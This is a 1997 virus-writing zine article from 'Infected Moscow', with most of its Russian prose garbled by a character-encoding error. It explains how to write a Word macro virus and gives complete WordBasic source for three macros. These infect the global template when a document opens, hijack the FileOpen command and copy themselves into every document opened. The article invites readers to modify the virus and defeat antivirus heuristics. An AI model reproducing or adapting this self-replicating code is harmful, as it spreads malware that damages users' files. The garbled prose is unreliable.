ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³INFECTED MOSCOW ³#1³ JAN'97 ³(C)STEALTH Group MoscoW & Co ³ one@redline.ru~ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³  WINWORD VIRUS ‘ ŽŒŽ™œž AVP Š€‘…‘ŠŽƒŽ        ³(C) S.S.R. & LordAsd    ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

     H ¯¨á ­¨¥	¬ ªp®-¢¨pyá®¢  ¤«ï  WinWord'  çp¥§¢ëç ©­® ¯p®áâ®. â® ä ªâ.
Žá­®¢­ ï   ¬ëá«ì   â ª®¢ :H¥á¬®âpï  ­ 	â®,çâ®	­¥¯®áp¥¤áâ¢¥­­®  § ¯¨áë¢ âì
¬ ªp®áë  ¢  Word  Document  ­¥«ì§ï,  ¬®¦­®  áª®­¢¥pâ¨p®¢ âì Word Document ¢
Document  Template  ¨  § ¯¨á âì  ¬ ªp®áë  ¢  § p ¦ ¥¬ë© ä ©« ª ª ¢ Document
Template.

     •®p®è¨¬  ¯p¨¬¥p®¬	ï¢«ï¥âáï  AVP for WinWord.â® ­ áâ®ïé¨© tutorial ¯®
¬¥â®¤ ¬  ¯p®£p ¬¬¨p®¢ ­¨ï  ­   WordBasic'¥.WordBasic ­¥ ®ç¥­ì ®â«¨ç ¥âáï ®â
®¡ëç­®£® basic'a, ®á­®¢­ë¥ ®â«¨ç¨ï ¢¨¤­ë ¨§ ¯p¨¢¥¤¥­­ëå ¬ ªp®á®¢.

     „®¯®«­¨â¥«ì­® ¯®ïá­¨¬, çâ®

1. Œ ªp®á ­ ç¨­ ¥âáï á Sub MAIN ¨ § ª ­ç¨¢ ¥âáï End Sub

2. „«ï ®¡p ¡®âª¨ ®è¨¡®ª ¢¢®¤ /¢ë¢®¤  ¨á¯®«ì§y¥âáï ª®­áâpyªæ¨ï
   On Error Goto ¬¥âª 

3. „«ï ¯®«yç¥­¨ï á¯¨áª  ¨¬¥­ ¬ ªp®á®¢, ¯p¨áyâáâ¢yîé¨å ¢ NORMAL.DOT,
   ¨ ¯p®¢¥pª¨ § p ¦¥­­®áâ¨ NORMAL.DOT ¨á¯®«ì§®¢ « áì ª®­áâpyªæ¨ï
   For i = 1 To j
    If MacroName$(i, 0, 0) = "WWUpdated" Then hru = 1
   Next i

4. Žá­®¢­ ï ª®¬ ­¤  - MacroCopy !

   MacroCopy ¨áâ®ç­¨ª$, ¯p¨¥¬­¨ª$

   „«ï	ááë«ª¨ ­  ä ©«, á®¤¥p¦ é¨© ¬ ªp®á, ¢ë¯®«­ïîé¨©áï ¢ ¤ ­­ë© ¬®¬¥­â,
   ¨á¯®«ì§y¥âáï äy­ªæ¨ï FileName$(), ¤«ï ááë«ª¨ ­  NORMAL.DOT -
   "Global:¨¬ï_¬ ªp®á "

5. ”p £¬¥­â

*** BEGIN FRAGMENT ***
   Dim dlg As FileOpen
   On Error Goto fail
   GetCurValues dlg
   Dialog dlg
   FileOpen dlg
   MsgBox FileName$()
*** END   FRAGMENT ***

   ¢§ïâ ¨§ AVP for WinWord ¡¥§ ¯®­¨¬ ­ï ¤¥â «¥© ¥£® äy­ªæ¨®­¨p®¢ ­¨ï,
   å®âï ¯®­ïâ­®, çâ® ®­ ¢p®¤¥ ¡ë ª ª-â® ¢ë§ë¢ ¥â áâ ­¤ pâ­ë© ¤¨ «®£
   Save File As

6. Ž¯¥p â®p  FileSaveAs FileName$(), .Format = 1 á®åp ­ï¥â ä ©« á yª § ­¨¥¬
   ä®p¬ â  DocumentTemplate (¢¬¥áâ® ¨áå®¤­®£® WordDocument).


‚¨pyá á®¤¥p¦¨â 3 ¬ ªp®á :
 AutoOpen      - ¨­áâ ««ïæ¨ï, § p ¦¥­¨¥ NORMAL.DOT
 DaniloffMuDaK - ®á­®¢­®©, § p ¦¥­¨¥ ®âªpë¢ ¥¬ëå ¤®ªy¬¥­â®¢
 WWUpdated     - ¯p¨§­ ª § p ¦¥­­®áâ¨

     ‚	®¡é¥¬, ¢ë ¬®¦¥â¥ ¨§¬¥­ïâì âyâ ç¥£® å®â¨â¥, ç¥¬ ¡®«ìè¥ ¨§¢p â¨â¥áì -
â¥¬  ªpyç¥!  Žá®¡ë© ¯p¨§ â®¬y, ªâ® á¬®¦¥â ­ ¥¡ âì í¢p¨áâ¨ªy Dr.WEB'a, «î¡ë¥
¨¤¥¨  ¯p¨­¨¬ îâáï  ­   one@redline.ru  :). Œë ­¥ ®á®¡® ­ ¯pï£ «¨áì ­ ¤ íâ¨¬
¤¥pì¬®¬,  íâ®  § ­ï«®  y  ­ á ¢á¥£® ®ª®«® 3å ç á®¢ (­y ¬ë ¨ ªpyâë¥, ®ä¨£¥âì
¯p®áâ®	;).H á	¡®«ìè¥	¨­â¥p¥áyîâ ¤py£¨¥ ­ ¯p ¢«¥­¨ï p §¢¨â¨ï ‚¨p’¥å' , ­®
¯®¦¥« ­¨ï  â¥¬	­¥  ¬¥­¥¥  ¯p¨­¨¬ îâáï.  ®á«¥¤­¨© á®¢¥â - ¯® pyá¨ä¨ª æ¨¨ :
¬®¦­®  § ¬¥­¨âì  ¢  ¢¨pyá¥  ¢¥§¤¥  á«®¢® Global ­  á«®¢® Normal, â®£¤  ¢¨pì
¡y¤¥â p ¡®â âì â®«ìª® ¯®¤ pyááª¨¬ ‚®p¤'®¬ (  ¢¥¤ì ¬ë ¯¥p¢ë¥ ;).


‘¯¨á®ª ä ©«®¢ ¢¨pyá­®£® ª®¬¯«¥ªâ  AVP for WinWord :

   WWVIR.DOC  - § p ¦¥­­ë© ¤®ªy¬¥­â Word
   WWRUS.DOC  - ¥é¥ ®¤¨­ § p ¦¥­­ë© ¤®ªy¬¥­â Word - pyááª¨© ¢ p¨ ­â
   WWVIR.TXT  - íâ®â â¥ªáâ

	Co-Copyright (cc)  Stainless Steel Rat, LordAsd and Eugene Kaspersky




*** CUT HERE MACRO AutoOpen ***
Sub MAIN
On Error Goto fail
hru = 0
j = CountMacros(0, 0)
For i = 1 To j
 If MacroName$(i, 0, 0) = "WWUpdated" Then hru = 1
Next i

If hru = 1 Then Goto fail

MsgBox "Gnoi"

MacroCopy FileName$() + ":AutoOpen", "Global:AutoOp"
MacroCopy FileName$() + ":WWUpdated", "Global:WWUpdated"
MacroCopy FileName$() + ":DaniloffMuDaK", "Global:FileOpen"
fail:
End Sub
*** END CUT ***



*** CUT HERE MACRO DaniloffMuDaK ***
Sub MAIN
' this macro loaded in normal template as FileOpen
OurCopyright$ = "Co-Copyright (cc) LordAsd and Stainless Steel Rat"
AVPcopyright$ = "AVP for WinWord v1.0"
DowniloffCopyright$ = "DaniloffMuDaK"
sQuestion$ = "Would you like to "

Dim dlg As FileOpen
On Error Goto fail
GetCurValues dlg
Dialog dlg
FileOpen dlg
MsgBox FileName$()

gnoi = 0
iCountMacros = CountMacros(1, 0, 0)
For i = 1 To iCountMacros
 zu$ = MacroName$(i, 1)
 If zu$ = "WWUpdated" Then gnoi = 1
Next i

If gnoi = 1 Then Goto fail
FileSaveAs FileName$(), .Format = 1
MacroCopy "Global:AutoOp", FileName$() + ":AutoOpen"
MacroCopy "Global:WWUpdated", FileName$() + ":WWUpdated"
MacroCopy "Global:FileOpen", FileName$() + ":DaniloffMuDaK"

MsgBox "Suxx"
fail:
End Sub
*** END CUT ***



*** CUT HERE MACRO WWUpdated ***
Sub MAIN
'Presence of AVP for winword
End Sub
*** END CUT ***